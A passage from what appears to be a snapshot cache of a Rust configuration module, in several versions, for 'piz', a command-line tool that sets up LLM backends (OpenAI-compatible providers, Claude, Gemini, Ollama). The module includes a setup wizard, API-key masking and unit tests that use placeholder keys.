assert_eq!(path.extension().unwrap(), \"toml\");\n assert!(path.ends_with(\"config.toml\"));\n }\n\n // ── Backend-specific config parsing ──\n\n #[test]\n fn parse_claude_config_standalone() {\n let toml = r#\"\ndefault_backend = \"claude\"\n[claude]\napi_key = \"sk-ant-test\"\nmodel = \"claude-sonnet-4-20250514\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert!(cfg.claude.is_some());\n let claude = cfg.claude.unwrap();\n assert_eq!(claude.api_key, \"sk-ant-test\");\n assert_eq!(claude.model, \"claude-sonnet-4-20250514\");\n assert!(claude.base_url.is_none());\n }\n\n #[test]\n fn parse_claude_config_with_base_url() {\n let toml = r#\"\n[claude]\napi_key = \"sk-test\"\nbase_url = \"https://my-proxy.com\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n let claude = cfg.claude.unwrap();\n assert_eq!(claude.base_url.as_deref(), Some(\"https://my-proxy.com\"));\n }\n\n #[test]\n fn parse_gemini_config_standalone() {\n let toml = r#\"\ndefault_backend = \"gemini\"\n[gemini]\napi_key = \"AIza-test\"\nmodel = \"gemini-2.5-flash\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert!(cfg.gemini.is_some());\n let gemini = cfg.gemini.unwrap();\n assert_eq!(gemini.api_key, \"AIza-test\");\n assert_eq!(gemini.model, \"gemini-2.5-flash\");\n }\n\n #[test]\n fn parse_ollama_config_defaults() {\n let toml = r#\"\n[ollama]\n\"#;\n let cfg = parse_config(toml).unwrap();\n let ollama = cfg.ollama.unwrap();\n assert_eq!(ollama.host, \"http://localhost:11434\");\n assert_eq!(ollama.model, \"llama3\");\n }\n\n // ── Default values ──\n\n #[test]\n fn cache_ttl_default() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.cache_ttl_hours, 48);\n }\n\n #[test]\n fn cache_max_entries_default() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.cache_max_entries, 1000);\n }\n\n #[test]\n fn chat_history_size_default() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.chat_history_size, 20);\n }\n\n #[test]\n fn auto_confirm_safe_default() {\n let cfg = parse_config(\"\").unwrap();\n assert!(!cfg.auto_confirm_safe);\n }\n\n #[test]\n fn language_default_zh() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.language, \"zh\");\n }\n\n #[test]\n fn language_custom() {\n let cfg = parse_config(\"language = \\\"en\\\"\").unwrap();\n assert_eq!(cfg.language, \"en\");\n }\n\n #[test]\n fn default_backend_openai() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n }\n\n // ── mask_api_key edge cases ──\n\n #[test]\n fn mask_api_key_empty() {\n // empty string → 0 * chars\n assert_eq!(mask_api_key(\"\"), \"\");\n }\n\n #[test]\n fn mask_api_key_single_char() {\n // <=8 chars → repeat '*' for each char\n assert_eq!(mask_api_key(\"a\"), \"*\");\n }\n}\n"}, "b6ff3c977175d4650d6bd48f9459a7166feae055": {"t": 1785760760.8056579, "n": 21552, "h": "c00f7b7ac9b20183", "c": "use anyhow::{Context, Result};\nuse serde::{Deserialize, Serialize};\nuse std::path::PathBuf;\n\nuse crate::i18n::{self, Lang};\n\n#[derive(Debug, Deserialize, Serialize)]\npub struct Config {\n #[serde(default = \"default_backend\")]\n pub default_backend: String,\n #[serde(default = \"default_cache_ttl\")]\n pub cache_ttl_hours: u64,\n #[serde(default)]\n pub auto_confirm_safe: bool,\n #[serde(default)]\n pub show_explanation: bool,\n #[serde(default = \"default_language\")]\n pub language: String,\n #[serde(default = \"default_chat_history_size\")]\n pub chat_history_size: usize,\n #[serde(default = \"default_cache_max_entries\")]\n pub cache_max_entries: usize,\n pub openai: Option<OpenAiConfig>,\n pub claude: Option<ClaudeConfig>,\n pub gemini: Option<GeminiConfig>,\n pub ollama: Option<OllamaConfig>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OpenAiConfig {\n pub api_key: String,\n #[serde(default = \"default_openai_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct ClaudeConfig {\n pub api_key: String,\n #[serde(default = \"default_claude_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct GeminiConfig {\n pub api_key: String,\n #[serde(default = \"default_gemini_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OllamaConfig {\n #[serde(default = \"default_ollama_host\")]\n pub host: String,\n #[serde(default = \"default_ollama_model\")]\n pub model: String,\n}\n\nfn default_backend() -> String {\n \"openai\".into()\n}\nfn default_cache_ttl() -> u64 {\n 48\n}\nfn default_language() -> String {\n \"zh\".into()\n}\nfn default_openai_model() -> String {\n \"gpt-4o-mini\".into()\n}\nfn default_claude_model() -> String {\n \"claude-sonnet-4-20250514\".into()\n}\nfn default_chat_history_size() -> usize {\n 20\n}\nfn default_cache_max_entries() -> usize {\n 1000\n}\nfn default_gemini_model() -> String {\n \"gemini-2.5-flash\".into()\n}\nfn default_ollama_host() -> String {\n \"http://localhost:11434\".into()\n}\nfn default_ollama_model() -> String {\n \"llama3\".into()\n}\n\npub fn piz_dir() -> Result<PathBuf> {\n let home = std::env::var(\"HOME\")\n .or_else(|_| std::env::var(\"USERPROFILE\"))\n .map(PathBuf::from)\n .ok()\n .or_else(dirs::home_dir)\n .context(\"Cannot determine home directory\")?;\n Ok(home.join(\".piz\"))\n}\n\npub fn config_path() -> Result<PathBuf> {\n Ok(piz_dir()?.join(\"config.toml\"))\n}\n\npub fn load_config() -> Result<Config> {\n let path = config_path()?;\n if !path.exists() {\n println!(\"No configuration found. Let's set up piz for the first time.\\n\");\n init_config()?;\n // If init was aborted or config still missing, bail\n if !path.exists() {\n anyhow::bail!(\"Config file not created. Run `piz config --init` to try again.\");\n }\n }\n let content = std::fs::read_to_string(&path)\n .with_context(|| format!(\"Failed to read {}\", path.display()))?;\n let config: Config =\n toml::from_str(&content).with_context(|| format!(\"Failed to parse {}\", path.display()))?;\n Ok(config)\n}\n\npub fn init_config() -> Result<()> {\n let dir = piz_dir()?;\n std::fs::create_dir_all(&dir)?;\n let path = config_path()?;\n\n // Step 0: choose language first (always show trilingual)\n let lang_items = &[\"中文\", \"English\"];\n let lang_idx = dialoguer::Select::new()\n .with_prompt(\"选择语言 / Select language\")\n .items(lang_items)\n .default(0)\n .interact()?;\n let lang = match lang_idx {\n 1 => Lang::En,\n _ => Lang::Zh,\n };\n let tr = i18n::t(lang);\n\n if path.exists() {\n let overwrite = dialoguer::Confirm::new()\n .with_prompt(format!(\"{} ({})\", tr.config_overwrite, path.display()))\n .default(false)\n .interact()?;\n if !overwrite {\n println!(\"{}\", tr.cancelled);\n return Ok(());\n }\n }\n\n println!();\n println!(\" {}\", tr.wizard_title);\n println!();\n\n // Step 1: choose backend\n let backends = &[\n \"openai (DeepSeek, SiliconFlow, OpenRouter, ...)\",\n \"claude\",\n \"gemini (Google)\",\n \"ollama (local)\",\n ];\n let backend_idx = dialoguer::Select::new()\n .with_prompt(tr.select_backend)\n .items(backends)\n .default(0)\n .interact()?;\n let backend_name = match backend_idx {\n 0 => \"openai\",\n 1 => \"claude\",\n 2 => \"gemini\",\n 3 => \"ollama\",\n _ => \"openai\",\n };\n\n // Step 2: collect backend-specific config\n let mut openai_section = String::new();\n let mut claude_section = String::new();\n let mut gemini_section = String::new();\n let mut ollama_section = String::new();\n\n match backend_name {\n \"openai\" => openai_section = collect_openai_config(tr)?,\n \"claude\" => claude_section = collect_claude_config(tr)?,\n \"gemini\" => gemini_section = collect_gemini_config(tr)?,\n \"ollama\" => ollama_section = collect_ollama_config(tr)?,\n _ => {}\n }\n\n // Step 3: auto_confirm\n let auto_confirm = dialoguer::Confirm::new()\n .with_prompt(tr.auto_confirm_prompt)\n .default(true)\n .interact()?;\n\n // Step 4: additional backends\n let extra = dialoguer::Confirm::new()\n .with_prompt(tr.extra_backends)\n .default(false)\n .interact()?;\n\n if extra {\n if backend_name != \"openai\"\n && openai_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_openai)\n .default(false)\n .interact()?\n {\n openai_section = collect_openai_config(tr)?;\n }\n if backend_name != \"claude\"\n && claude_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_claude)\n .default(false)\n .interact()?\n {\n claude_section = collect_claude_config(tr)?;\n }\n if backend_name != \"gemini\"\n && gemini_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_gemini)\n .default(false)\n .interact()?\n {\n gemini_section = collect_gemini_config(tr)?;\n }\n if backend_name != \"ollama\"\n && ollama_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_ollama)\n .default(false)\n .interact()?\n {\n ollama_section = collect_ollama_config(tr)?;\n }\n }\n\n // Assemble config\n let mut content = format!(\n \"default_backend = \\\"{backend}\\\"\\n\\\n cache_ttl_hours = 48\\n\\\n auto_confirm_safe = {auto_confirm}\\n\\\n language = \\\"{lang}\\\"\\n\",\n backend = backend_name,\n auto_confirm = auto_confirm,\n lang = lang.code(),\n );\n\n if !openai_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", openai_section));\n }\n if !claude_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", claude_section));\n }\n if !gemini_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", gemini_section));\n }\n if !ollama_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", ollama_section));\n }\n\n std::fs::write(&path, &content)?;\n\n println!();\n println!(\" {} {}\", tr.config_saved, path.display());\n println!();\n\n match parse_config(&content) {\n Ok(_) => println!(\" {}\", tr.config_validated),\n Err(e) => println!(\" ⚠ {}\", e),\n }\n\n println!();\n println!(\" {} {}\", tr.config_edit_hint, path.display());\n println!(\" {}\", tr.config_rerun_hint);\n println!();\n Ok(())\n}\n\nfn collect_openai_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- OpenAI-compatible --\");\n\n let presets = &[\n \"OpenAI (api.openai.com)\",\n \"DeepSeek (api.deepseek.com)\",\n \"SiliconFlow (api.siliconflow.cn)\",\n \"OpenRouter (openrouter.ai)\",\n \"Moonshot / Kimi (api.moonshot.cn)\",\n \"Zhipu / GLM (open.bigmodel.cn)\",\n \"Qianfan / Baidu (qianfan.baidubce.com)\",\n \"DashScope / Alibaba (dashscope.aliyuncs.com)\",\n \"Mistral (api.mistral.ai)\",\n \"Together (api.together.xyz)\",\n \"Minimax (api.minimax.io)\",\n \"BytePlus / Volcengine (byteplus)\",\n \"Custom URL\",\n ];\n let preset_idx = dialoguer::Select::new()\n .with_prompt(tr.select_provider)\n .items(presets)\n .default(0)\n .interact()?;\n\n let (default_url, default_model) = match preset_idx {\n 0 => (\"https://api.openai.com\", \"gpt-4o-mini\"),\n 1 => (\"https://api.deepseek.com\", \"deepseek-chat\"),\n 2 => (\"https://api.siliconflow.cn\", \"Qwen/Qwen3-8B\"),\n 3 => (\"https://openrouter.ai/api/v1\", \"auto\"),\n 4 => (\"https://api.moonshot.cn\", \"moonshot-v1-8k\"),\n 5 => (\"https://open.bigmodel.cn/api/paas/v4\", \"glm-4-flash\"),\n 6 => (\"https://qianfan.baidubce.com/v2\", \"deepseek-v3\"),\n 7 => (\n \"https://dashscope.aliyuncs.com/compatible-mode/v1\",\n \"qwen-plus\",\n ),\n 8 => (\"https://api.mistral.ai/v1\", \"mistral-small-latest\"),\n 9 => (\n \"https://api.together.xyz/v1\",\n \"meta-llama/Meta-Llama-3-8B-Instruct\",\n ),\n 10 => (\"https://api.minimax.io/v1\", \"MiniMax-M1\"),\n 11 => (\n \"https://api.byteplus.volcengineapi.com/v1\",\n \"doubao-1.5-pro-32k\",\n ),\n _ => (\"\", \"\"),\n };\n\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(default_url)\n .interact_text()?;\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(default_model)\n .interact_text()?;\n\n let mut section = format!(\n \"[openai]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n if !base_url.is_empty() && base_url != \"https://api.openai.com\" {\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_claude_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Claude --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"claude-sonnet-4-20250514\")\n .interact_text()?;\n\n let use_custom_url = dialoguer::Confirm::new()\n .with_prompt(tr.custom_url_prompt)\n .default(false)\n .interact()?;\n\n let mut section = format!(\n \"[claude]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n\n if use_custom_url {\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(\"https://api.anthropic.com\")\n .interact_text()?;\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_gemini_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Google Gemini --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"gemini-2.5-flash\")\n .interact_text()?;\n\n Ok(format!(\n \"[gemini]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n ))\n}\n\nfn collect_ollama_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Ollama (local) --\");\n\n let host: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.ollama_host))\n .with_initial_text(\"http://localhost:11434\")\n .interact_text()?;\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"llama3\")\n .interact_text()?;\n\n Ok(format!(\n \"[ollama]\\nhost = {}\\nmodel = {}\\n\",\n toml_escape(&host),\n toml_escape(&model)\n ))\n}\n\n/// Return a stable identifier for the active backend+model combination.\n/// Used as part of the cache key so switching models auto-invalidates stale entries.\npub fn active_model_id(config: &Config, backend_override: Option<&str>) -> String {\n let backend = backend_override.unwrap_or(&config.default_backend);\n let model = match backend {\n \"openai\" => config.openai.as_ref().map(|c| c.model.as_str()),\n \"claude\" => config.claude.as_ref().map(|c| c.model.as_str()),\n \"gemini\" => config.gemini.as_ref().map(|c| c.model.as_str()),\n \"ollama\" => config.ollama.as_ref().map(|c| c.model.as_str()),\n _ => None,\n };\n format!(\"{}:{}\", backend, model.unwrap_or(\"default\"))\n}\n\n/// Escape a string value for TOML output (handles quotes, backslashes, etc.)\nfn toml_escape(s: &str) -> String {\n let value = toml::Value::String(s.to_string());\n value.to_string()\n}\n\n/// Mask an API key for display: show first 4 and last 4 chars if long enough\npub fn mask_api_key(key: &str) -> String {\n if key.len() > 8 {\n format!(\"{}...{}\", &key[..4], &key[key.len() - 4..])\n } else {\n \"*\".repeat(key.len())\n }\n}\n\n/// Mask all api_key values in a TOML config string\npub fn mask_config_keys(content: &str) -> String {\n content\n .lines()\n .map(|line| {\n if let Some(idx) = line.find(\"api_key\") {\n if let Some(eq_idx) = line[idx..].find('=') {\n let before = &line[..idx + eq_idx + 1];\n let value_part = line[idx + eq_idx + 1..].trim();\n if value_part.starts_with('\"')\n && value_part.ends_with('\"')\n && value_part.len() > 2\n {\n let key = &value_part[1..value_part.len() - 1];\n return format!(\"{} \\\"{}\\\"\", before, mask_api_key(key));\n }\n }\n }\n line.to_string()\n })\n .collect::<Vec<_>>()\n .join(\"\\n\")\n}\n\n/// Parse a TOML string into Config (useful for testing)\npub fn parse_config(content: &str) -> Result<Config> {\n let config: Config = toml::from_str(content).context(\"Failed to parse config TOML\")?;\n Ok(config)\n}\n\n#[cfg(test)]\nmod tests {\n use super::*;\n\n #[test]\n fn parse_full_config() {\n let toml = r#\"\ndefault_backend = \"claude\"\ncache_ttl_hours = 24\nauto_confirm_safe = true\n\n[openai]\napi_key = \"sk-test\"\nmodel = \"gpt-4\"\nbase_url = \"https://custom.api.com\"\n\n[claude]\napi_key = \"sk-ant-test\"\nmodel = \"claude-sonnet-4-20250514\"\n\n[ollama]\nhost = \"http://localhost:11434\"\nmodel = \"llama3\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"claude\");\n assert_eq!(cfg.cache_ttl_hours, 24);\n assert!(cfg.auto_confirm_safe);\n\n let openai = cfg.openai.unwrap();\n assert_eq!(openai.api_key, \"sk-test\");\n assert_eq!(openai.model, \"gpt-4\");\n assert_eq!(openai.base_url.unwrap(), \"https://custom.api.com\");\n\n let claude = cfg.claude.unwrap();\n assert_eq!(claude.api_key, \"sk-ant-test\");\n\n let ollama = cfg.ollama.unwrap();\n assert_eq!(ollama.host, \"http://localhost:11434\");\n assert_eq!(ollama.model, \"llama3\");\n }\n\n #[test]\n fn parse_minimal_config_uses_defaults() {\n let toml = r#\"\n[openai]\napi_key = \"sk-test\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert_eq!(cfg.cache_ttl_hours, 48);\n assert!(!cfg.auto_confirm_safe);\n assert_eq!(cfg.openai.unwrap().model, \"gpt-4o-mini\");\n assert!(cfg.claude.is_none());\n assert!(cfg.ollama.is_none());\n }\n\n #[test]\n fn parse_empty_config_ok() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert!(cfg.openai.is_none());\n }\n\n #[test]\n fn parse_invalid_toml_errors() {\n let result = parse_config(\"this is not [valid toml\");\n assert!(result.is_err());\n }\n\n #[test]\n fn mask_api_key_long() {\n assert_eq!(mask_api_key(\"sk-test-key-123456\"), \"sk-t...3456\");\n }\n\n #[test]\n fn mask_api_key_short() {\n assert_eq!(mask_api_key(\"short\"), \"*****\");\n }\n\n #[test]\n fn mask_api_key_exact_8() {\n assert_eq!(mask_api_key(\"12345678\"), \"********\");\n }\n\n #[test]\n fn mask_config_keys_masks_values() {\n let content = \"[openai]\\napi_key = \\\"sk-test-key-123456\\\"\\nmodel = \\\"gpt-4\\\"\";\n let masked = mask_config_keys(content);\n assert!(masked.contains(\"sk-t...3456\"));\n assert!(!masked.contains(\"sk-test-key-123456\"));\n assert!(masked.contains(\"gpt-4\"));\n }\n\n #[test]\n fn show_explanation_default_false() {\n let cfg = parse_config(\"\").unwrap();\n assert!(!cfg.show_explanation);\n }\n\n #[test]\n fn show_explanation_true() {\n let cfg = parse_config(\"show_explanation = true\").unwrap();\n assert!(cfg.show_explanation);\n }\n\n #[test]\n fn show_explanation_missing_defaults_false() {\n let toml = r#\"\ndefault_backend = \"openai\"\nauto_confirm_safe = true\n[openai]\napi_key = \"sk-test\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert!(!cfg.show_explanation);\n }\n\n #[test]\n fn piz_dir_under_home() {\n let dir = piz_dir().unwrap();\n assert!(dir.ends_with(\".piz\"));\n }\n\n #[test]\n fn config_path_is_toml() {\n let path = config_path().unwrap();\n assert_eq!(path.extension().unwrap(), \"toml\");\n assert!(path.ends_with(\"config.toml\"));\n }\n\n // ── Backend-specific config parsing ──\n\n #[test]\n fn parse_claude_config_standalone() {\n let toml = r#\"\ndefault_backend = \"claude\"\n[claude]\napi_key = \"sk-ant-test\"\nmodel = \"claude-sonnet-4-20250514\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert!(cfg.claude.is_some());\n let claude = cfg.claude.unwrap();\n assert_eq!(claude.api_key, \"sk-ant-test\");\n assert_eq!(claude.model, \"claude-sonnet-4-20250514\");\n assert!(claude.base_url.is_none());\n }\n\n #[test]\n fn parse_claude_config_with_base_url() {\n let toml = r#\"\n[claude]\napi_key = \"sk-test\"\nbase_url = \"https://my-proxy.com\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n let claude = cfg.claude.unwrap();\n assert_eq!(claude.base_url.as_deref(), Some(\"https://my-proxy.com\"));\n }\n\n #[test]\n fn parse_gemini_config_standalone() {\n let toml = r#\"\ndefault_backend = \"gemini\"\n[gemini]\napi_key = \"AIza-test\"\nmodel = \"gemini-2.5-flash\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert!(cfg.gemini.is_some());\n let gemini = cfg.gemini.unwrap();\n assert_eq!(gemini.api_key, \"AIza-test\");\n assert_eq!(gemini.model, \"gemini-2.5-flash\");\n }\n\n #[test]\n fn parse_ollama_config_defaults() {\n let toml = r#\"\n[ollama]\n\"#;\n let cfg = parse_config(toml).unwrap();\n let ollama = cfg.ollama.unwrap();\n assert_eq!(ollama.host, \"http://localhost:11434\");\n assert_eq!(ollama.model, \"llama3\");\n }\n\n // ── Default values ──\n\n #[test]\n fn cache_ttl_default() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.cache_ttl_hours, 48);\n }\n\n #[test]\n fn cache_max_entries_default() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.cache_max_entries, 1000);\n }\n\n #[test]\n fn chat_history_size_default() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.chat_history_size, 20);\n }\n\n #[test]\n fn auto_confirm_safe_default() {\n let cfg = parse_config(\"\").unwrap();\n assert!(!cfg.auto_confirm_safe);\n }\n\n #[test]\n fn language_default_zh() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.language, \"zh\");\n }\n\n #[test]\n fn language_custom() {\n let cfg = parse_config(\"language = \\\"en\\\"\").unwrap();\n assert_eq!(cfg.language, \"en\");\n }\n\n #[test]\n fn default_backend_openai() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n }\n\n // ── mask_api_key edge cases ──\n\n #[test]\n fn mask_api_key_empty() {\n // empty string → 0 * chars\n assert_eq!(mask_api_key(\"\"), \"\");\n }\n\n #[test]\n fn mask_api_key_single_char() {\n // <=8 chars → repeat '*' for each char\n assert_eq!(mask_api_key(\"a\"), \"*\");\n }\n}\n"}, "8a6b06e5122683d818d015494bf49ab55f65e8f7": {"t": 1785760762.3997986, "n": 20843, "h": "2041e0f168d0a867", "c": "use anyhow::{Context, Result};\nuse serde::{Deserialize, Serialize};\nuse std::path::PathBuf;\n\nuse crate::i18n::{self, Lang};\n\n#[derive(Debug, Deserialize, Serialize)]\npub struct Config {\n #[serde(default = \"default_backend\")]\n pub default_backend: String,\n #[serde(default = \"default_cache_ttl\")]\n pub cache_ttl_hours: u64,\n #[serde(default)]\n pub auto_confirm_safe: bool,\n #[serde(default)]\n pub show_explanation: bool,\n #[serde(default = \"default_language\")]\n pub language: String,\n #[serde(default = \"default_chat_history_size\")]\n pub chat_history_size: usize,\n #[serde(default = \"default_cache_max_entries\")]\n pub cache_max_entries: usize,\n pub openai: Option<OpenAiConfig>,\n pub claude: Option<ClaudeConfig>,\n pub gemini: Option<GeminiConfig>,\n pub ollama: Option<OllamaConfig>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OpenAiConfig {\n pub api_key: String,\n #[serde(default = \"default_openai_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct ClaudeConfig {\n pub api_key: String,\n #[serde(default = \"default_claude_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct GeminiConfig {\n pub api_key: String,\n #[serde(default = \"default_gemini_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OllamaConfig {\n #[serde(default = \"default_ollama_host\")]\n pub host: String,\n #[serde(default = \"default_ollama_model\")]\n pub model: String,\n}\n\nfn default_backend() -> String {\n \"openai\".into()\n}\nfn default_cache_ttl() -> u64 {\n 168\n}\nfn default_language() -> String {\n \"zh\".into()\n}\nfn default_openai_model() -> String {\n \"gpt-4o-mini\".into()\n}\nfn default_claude_model() -> String {\n \"claude-sonnet-4-20250514\".into()\n}\nfn default_chat_history_size() -> usize {\n 20\n}\nfn default_cache_max_entries() -> usize {\n 1000\n}\nfn default_gemini_model() -> String {\n \"gemini-2.5-flash\".into()\n}\nfn default_ollama_host() -> String {\n \"http://localhost:11434\".into()\n}\nfn default_ollama_model() -> String {\n \"llama3\".into()\n}\n\npub fn piz_dir() -> Result<PathBuf> {\n let home = std::env::var(\"HOME\")\n .or_else(|_| std::env::var(\"USERPROFILE\"))\n .map(PathBuf::from)\n .ok()\n .or_else(dirs::home_dir)\n .context(\"Cannot determine home directory\")?;\n Ok(home.join(\".piz\"))\n}\n\npub fn config_path() -> Result<PathBuf> {\n Ok(piz_dir()?.join(\"config.toml\"))\n}\n\npub fn load_config() -> Result<Config> {\n let path = config_path()?;\n if !path.exists() {\n println!(\"No configuration found. Let's set up piz for the first time.\\n\");\n init_config()?;\n // If init was aborted or config still missing, bail\n if !path.exists() {\n anyhow::bail!(\"Config file not created. Run `piz config --init` to try again.\");\n }\n }\n let content = std::fs::read_to_string(&path)\n .with_context(|| format!(\"Failed to read {}\", path.display()))?;\n let config: Config =\n toml::from_str(&content).with_context(|| format!(\"Failed to parse {}\", path.display()))?;\n Ok(config)\n}\n\npub fn init_config() -> Result<()> {\n let dir = piz_dir()?;\n std::fs::create_dir_all(&dir)?;\n let path = config_path()?;\n\n // Step 0: choose language first (always show trilingual)\n let lang_items = &[\"中文\", \"English\"];\n let lang_idx = dialoguer::Select::new()\n .with_prompt(\"选择语言 / Select language\")\n .items(lang_items)\n .default(0)\n .interact()?;\n let lang = match lang_idx {\n 1 => Lang::En,\n _ => Lang::Zh,\n };\n let tr = i18n::t(lang);\n\n if path.exists() {\n let overwrite = dialoguer::Confirm::new()\n .with_prompt(format!(\"{} ({})\", tr.config_overwrite, path.display()))\n .default(false)\n .interact()?;\n if !overwrite {\n println!(\"{}\", tr.cancelled);\n return Ok(());\n }\n }\n\n println!();\n println!(\" {}\", tr.wizard_title);\n println!();\n\n // Step 1: choose backend\n let backends = &[\n \"openai (DeepSeek, SiliconFlow, OpenRouter, ...)\",\n \"claude\",\n \"gemini (Google)\",\n \"ollama (local)\",\n ];\n let backend_idx = dialoguer::Select::new()\n .with_prompt(tr.select_backend)\n .items(backends)\n .default(0)\n .interact()?;\n let backend_name = match backend_idx {\n 0 => \"openai\",\n 1 => \"claude\",\n 2 => \"gemini\",\n 3 => \"ollama\",\n _ => \"openai\",\n };\n\n // Step 2: collect backend-specific config\n let mut openai_section = String::new();\n let mut claude_section = String::new();\n let mut gemini_section = String::new();\n let mut ollama_section = String::new();\n\n match backend_name {\n \"openai\" => openai_section = collect_openai_config(tr)?,\n \"claude\" => claude_section = collect_claude_config(tr)?,\n \"gemini\" => gemini_section = collect_gemini_config(tr)?,\n \"ollama\" => ollama_section = collect_ollama_config(tr)?,\n _ => {}\n }\n\n // Step 3: auto_confirm\n let auto_confirm = dialoguer::Confirm::new()\n .with_prompt(tr.auto_confirm_prompt)\n .default(true)\n .interact()?;\n\n // Step 4: additional backends\n let extra = dialoguer::Confirm::new()\n .with_prompt(tr.extra_backends)\n .default(false)\n .interact()?;\n\n if extra {\n if backend_name != \"openai\"\n && openai_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_openai)\n .default(false)\n .interact()?\n {\n openai_section = collect_openai_config(tr)?;\n }\n if backend_name != \"claude\"\n && claude_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_claude)\n .default(false)\n .interact()?\n {\n claude_section = collect_claude_config(tr)?;\n }\n if backend_name != \"gemini\"\n && gemini_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_gemini)\n .default(false)\n .interact()?\n {\n gemini_section = collect_gemini_config(tr)?;\n }\n if backend_name != \"ollama\"\n && ollama_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_ollama)\n .default(false)\n .interact()?\n {\n ollama_section = collect_ollama_config(tr)?;\n }\n }\n\n // Assemble config\n let mut content = format!(\n \"default_backend = \\\"{backend}\\\"\\n\\\n cache_ttl_hours = 168\\n\\\n auto_confirm_safe = {auto_confirm}\\n\\\n language = \\\"{lang}\\\"\\n\",\n backend = backend_name,\n auto_confirm = auto_confirm,\n lang = lang.code(),\n );\n\n if !openai_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", openai_section));\n }\n if !claude_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", claude_section));\n }\n if !gemini_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", gemini_section));\n }\n if !ollama_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", ollama_section));\n }\n\n std::fs::write(&path, &content)?;\n\n println!();\n println!(\" {} {}\", tr.config_saved, path.display());\n println!();\n\n match parse_config(&content) {\n Ok(_) => println!(\" 